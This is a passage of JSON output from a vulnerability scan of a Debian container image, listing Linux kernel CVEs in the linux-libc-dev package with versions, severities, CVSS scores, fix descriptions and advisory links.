"https://git.kernel.org/stable/c/99c379ca1e221c3d75c7c804ebbf4e5ee37a3070", "https://git.kernel.org/stable/c/a61bdcba4f64c2f90d01461913f429ab151f1ca6", "https://git.kernel.org/stable/c/a7656d368265d085ac9bb85ab31b0cdb72ad8c38", "https://git.kernel.org/stable/c/b84f46179c806450b89821221ea5bd9a1698aba8", "https://linux.oracle.com/cve/CVE-2026-63795.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63795-709a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63795", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63795" ], "PublishedDate": "2026-07-19T12:16:51.91Z", "LastModifiedDate": "2026-10-19T20:19:19.95Z" }, { "VulnerabilityID": "CVE-2026-63797", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63797", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:930fd859459d6349cd2d8740b55cb9a2760b09f969c5418c768f898e34207dfa", "Title": "kernel: rpmsg: char: Fix use-after-free on probe error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrpmsg: char: Fix use-after-free on probe error path\n\nrpmsg_chrdev_probe() stores the newly allocated eptdev in the default\nendpoint's priv pointer before calling rpmsg_chrdev_eptdev_add(). If\nrpmsg_chrdev_eptdev_add() then fails, its error path frees eptdev while\nthe default endpoint may still dispatch callbacks with the stale priv\npointer.\n\nAvoid publishing eptdev through the default endpoint until\nrpmsg_chrdev_eptdev_add() succeeds. Messages received before the priv\npointer is published should be ignored by rpmsg_ept_cb(). Flow-control\nupdates can hit rpmsg_ept_flow_cb() in the same window, so make both\ncallbacks return success when priv is NULL.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63797", "https://git.kernel.org/linus/1ff3f528e67d20e2b1483dcaba899dc7832b2e6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/104d100212396801f1d9d388282f746e23e2bfd6", "https://git.kernel.org/stable/c/1306fc4f76f765727a6d5aefbf08ef0c8f32996f", "https://git.kernel.org/stable/c/1ff3f528e67d20e2b1483dcaba899dc7832b2e6b", "https://git.kernel.org/stable/c/c5ebb06c7e24d531b68707168e04698859d642bc", "https://git.kernel.org/stable/c/ddf13f91ca82c94ef7ad9c41a434a03313f8eb1b", "https://git.kernel.org/stable/c/ff268cd9ccbce6472a0658791b417bf11c31ee39", "https://lore.kernel.org/linux-cve-announce/2026071900-CVE-2026-63797-44ec@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63797", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63797" ], "PublishedDate": "2026-07-19T12:16:52.19Z", "LastModifiedDate": "2026-08-17T05:17:15.98Z" }, { "VulnerabilityID": "CVE-2026-63824", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef66dcd22a59c6d18ad1fd3074a7654787fd7767bfd20ca1b417c0b1406c05c0", "Title": "kernel: KEYS: fix overflow in keyctl_pkey_params_get_2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: fix overflow in keyctl_pkey_params_get_2()\n\nThe length for the internal output buffer is calculated incorrectly, which\ncan result overflow when a too small buffer is provided.\n\nFix the bug by allocating internal output with the size of the maximum\nlength of the cryptographic primitive instead of caller provided size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63824", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/cb481e59ea6cae3b7796ac1d7a22b6b24c3f3c0b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0f3058d7d26f81df9b68a18ddbe164bdc3c5eff3", "https://git.kernel.org/stable/c/5165f1cc727f1322456735df212d8e26ec237a8d", "https://git.kernel.org/stable/c/5966e4e2ba213ab7ad559166152eb4f1f170dd2c", "https://git.kernel.org/stable/c/622ec2dcd59f21623f2a7ab773c80ceb7d555e3a", "https://git.kernel.org/stable/c/670fc6a311ed321522b7fff92cf0fc376b4f6e78", "https://git.kernel.org/stable/c/b11c1fa32667692a2c0566e10163758e786e430c", "https://git.kernel.org/stable/c/b1e247338bc71826a2d2def3e0874c34749df69a", "https://git.kernel.org/stable/c/cb481e59ea6cae3b7796ac1d7a22b6b24c3f3c0b", "https://linux.oracle.com/cve/CVE-2026-63824.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071906-CVE-2026-63824-6a2f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63824", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63824" ], "PublishedDate": "2026-07-19T12:16:55.583Z", "LastModifiedDate": "2026-10-22T18:22:18.247Z" }, { "VulnerabilityID": "CVE-2026-63829", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63829", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a18b5a90ef7cef1e277b02a27ee068620cc10107c5480a4556e2b4ab0d3fe6c", "Title": "kernel: net: ip_gre: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ip_gre: require CAP_NET_ADMIN in the device netns for changelink\n\nA tunnel changelink() operates on at most two netns, dev_net(dev) and\nthe tunnel link netns t-\u003enet. They differ once the device is created in\nor moved to a netns other than the one the request runs in. The rtnl\nchangelink path checks CAP_NET_ADMIN only against dev_net(dev), so a\ncaller privileged there but not in t-\u003enet can rewrite a tunnel that\nlives in t-\u003enet.\n\nAdd rtnl_dev_link_net_capable() next to rtnl_get_net_ns_capable() in\nnet/core/rtnetlink.c. It requires CAP_NET_ADMIN in the link netns and is\nskipped when the link netns is dev_net(dev), where the rtnl path already\nchecked it. The other patches in this series use the same helper.\n\nGate ipgre_changelink() and erspan_changelink() with it, at the top of\nthe op before any attribute is parsed, because the parsers update live\ntunnel fields first. ipgre_netlink_parms() sets t-\u003ecollect_md before\nip_tunnel_changelink() runs.\n\nCommit 8b484efd5cb4 (\"ip6: vti: Use ip6_tnl.net in\nvti6_siocdevprivate().\") added the same check on the ioctl path. This\nadds it on RTM_NEWLINK.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-63829", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/8165f7ff57d9667d2bb477ef6af83ede7fed4ad7%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1697957eb0971d420dde42862b88eb43506a1105", "https://git.kernel.org/stable/c/19275943d8fe903eb7b9aa53e380e41efd042ada", "https://git.kernel.org/stable/c/47b5d3d506609b08b2e1f7c14f0b681a1953d572", "https://git.kernel.org/stable/c/8165f7ff57d9667d2bb477ef6af83ede7fed4ad7", "https://git.kernel.org/stable/c/866b0f5ae599490bd496fd84581c68ac8b94e6af", "https://git.kernel.org/stable/c/92b766fc55156e0da2ecd0c2302c971118f8a229", "https://git.kernel.org/stable/c/9831bc9ecb402957810c2045c663fbfe9b09e296", "https://git.kernel.org/stable/c/e54c05ed3d9c28733fb9e5837219aca3691defa3", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-zz4tqhkldzjr.toml", "https://linux.oracle.com/cve/CVE-2026-63829.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63829-ff2a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63829", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63829" ], "PublishedDate": "2026-07-19T12:16:56.23Z", "LastModifiedDate": "2026-10-22T18:17:26.85Z" }, { "VulnerabilityID": "CVE-2026-63830", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63830", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:641d371e425fb76075ad30cfcbb92a6eb6768dbb835468a3a91cb8c5309447d1", "Title": "kernel: net: skmsg: preserve sg.copy across SG transforms", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skmsg: preserve sg.copy across SG transforms\n\nThe sk_msg sg.copy bitmap is part of the scatterlist entry ownership\nstate. A set bit tells sk_msg_compute_data_pointers() not to expose the\nentry through writable BPF ctx-\u003edata. This protects entries backed by\npages that are not private to the sk_msg, such as splice-backed file\npage-cache pages.\n\nSeveral sk_msg transform paths move, copy, split, or compact\nmsg-\u003esg.data[] entries without moving the matching sg.copy bit. This can\nmake an externally backed entry arrive at a new slot with a clear copy\nbit. A later SK_MSG verdict can then expose sg_virt(sge) as writable\nctx-\u003edata and BPF stores can modify the original page cache.\n\nKeep sg.copy synchronized with sg.data[] whenever entries are\ntransferred, shifted, split, or copied into a new sk_msg. Clear the bit\nwhen an entry is replaced by a newly allocated private page or freed.\nThis covers the BPF pull/push/pop helpers, sk_msg_shift_left/right(),\nsk_msg_xfer(), and tls_split_open_record(), including the partial tail\nentry created during TLS open-record splitting.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-269" ], "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63830", "https://git.kernel.org/linus/406e8a651a7b854c41fecd5117bb282b3a6c2c6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0eb4c16c4adb262763bda870a8ed38a1a9dec7ec", "https://git.kernel.org/stable/c/1acdd14c0990dd1cd4b6534f00366d2e6dfce05f", "https://git.kernel.org/stable/c/21ed9540a8e1906dfcbc1bb82ba9b4de4fa4bd6d", "https://git.kernel.org/stable/c/31a110642b5fb5e61940cbcfb503445ac4f28017", "https://git.kernel.org/stable/c/406e8a651a7b854c41fecd5117bb282b3a6c2c6b", "https://git.kernel.org/stable/c/9bb86d8184b37503816150c4a6ad3c17dfdbe827", "https://git.kernel.org/stable/c/d22cc92bc41290e5783a72375e0843d9435f6001", "https://git.kernel.org/stable/c/f126eed589eec6f201405abbc398844042ef6d57", "https://linux.oracle.com/cve/CVE-2026-63830.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63830-1297@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63830", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63830" ], "PublishedDate": "2026-07-19T12:16:56.337Z", "LastModifiedDate": "2026-10-22T18:14:48.593Z" }, { "VulnerabilityID": "CVE-2026-63831", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63831", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:28ab47ab9c2ae12b2725fe82ffd5706255dae82e04b67460f1768b34115f1385", "Title": "kernel: mac802154: llsec: add skb_cow_data() before in-place crypto", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: llsec: add skb_cow_data() before in-place crypto\n\nllsec_do_encrypt_unauth(), llsec_do_encrypt_auth(),\nllsec_do_decrypt_unauth(), and llsec_do_decrypt_auth() all perform\nin-place cryptographic transformations on skb data. They build a\nscatterlist with sg_init_one() pointing into the skb's linear 